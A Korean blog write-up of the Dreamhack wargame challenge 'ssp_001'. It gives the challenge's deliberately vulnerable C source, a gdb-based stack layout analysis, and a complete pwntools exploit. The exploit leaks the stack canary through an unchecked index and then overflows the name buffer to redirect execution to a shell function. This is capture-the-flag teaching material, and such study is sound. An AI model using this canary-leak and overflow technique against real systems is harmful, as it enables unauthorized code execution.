Iriton's log

[Dreamhack] Lv.2 : ssp_001 본문

Pwnable/Wargame

[Dreamhack] Lv.2 : ssp_001

Iriton 2024. 5. 15. 14:42

Description

: 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.

 

취약점 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

함수 동작

- F 를 누르면 box에 입력을 받는다.

- P 를 입력하면 print_box 함수를 호출하여 해당 인덱스 값의 박스를 출력한다.

- E 를 입력하면 name 크기를 입력 받고 해당하는 크기만큼 이름을 입력 받는다.

- 지정된 시간 내에 입력하지 않으면 프로그램 종료

 

취약점

- E 메뉴에서 원하는 크기만큼 box에 입력을 줄 수 있기 때문에 버퍼 오버플로우 가능성

- P 메뉴에서 인덱스를 입력 받을 때 경계값 검사를 하지 않아서 name 아래에 있는 값 출력 가능성

- get_shell : 쉘을 띄워주는 함수. Exploit에 사용할 수 있음.

 

Exploit

gdb로 열어서 동작을 살펴보며 스택 구조를 파악해보자.

disassemble *main에서 각각의 저장 주소를 파악할 수 있다.

 

이 부분이 Canary를 저장하는 부분과 비슷해 보인다.

32비트의 Cananry 저장은 위와 같은가보다.

canary = [ebp-0x8]

 

근데 32비트면 EBP 값은 4바이트일 텐데 8바이트 차이가 나는 걸 봐서 중간에 더미 값이 4있다는 걸 알 수 있다.

 

select = [ebp - 0x8a]

 

box = [ebp-0x88]

 

idx = [ebp-0x94]

 

name = [ebp-0x48]
name_len = [ebp-0x90]

 

스택 구조 / 출처: https://fascination-euna.tistory.com/entry/Dreamhack-ssp001

 

Canary Leak

P 메뉴를 이용하여 카나리를 확인할 수 있다.

box - canary 거리는 128 바이트이니까 index를 128, 129, 130, 131을 주면 카나리 값을 볼 수 있다.

 

BOF

또한 E 메뉴로는 box에 원하는 만큼 크기를 입력할 수 있다.

RET을 get_shell로 덮으면 쉘을 띄울 수 있다.

 

from pwn import *

def slog(name, addr):
  return success(": ".join([name, hex(addr)]))

# 서버 연결 및 프로그램 지정
p = remote("host3.dreamhack.games", {서버 포트})
e = ELF("./ssp_001")

get_shell = e.symbols['get_shell']

# Canary Leak
canary = b""

i = 131
while i >= 128:
  p.sendlineafter("> ", 'P')
  p.sendlineafter("Element index : ", str(i))
  p.recvuntil("is : ")
  canary += p.recvn(2)
  i = i - 1

canary = int(canary, 16)
slog("canary", canary)


# BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)

p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)

p.interactive()

Comments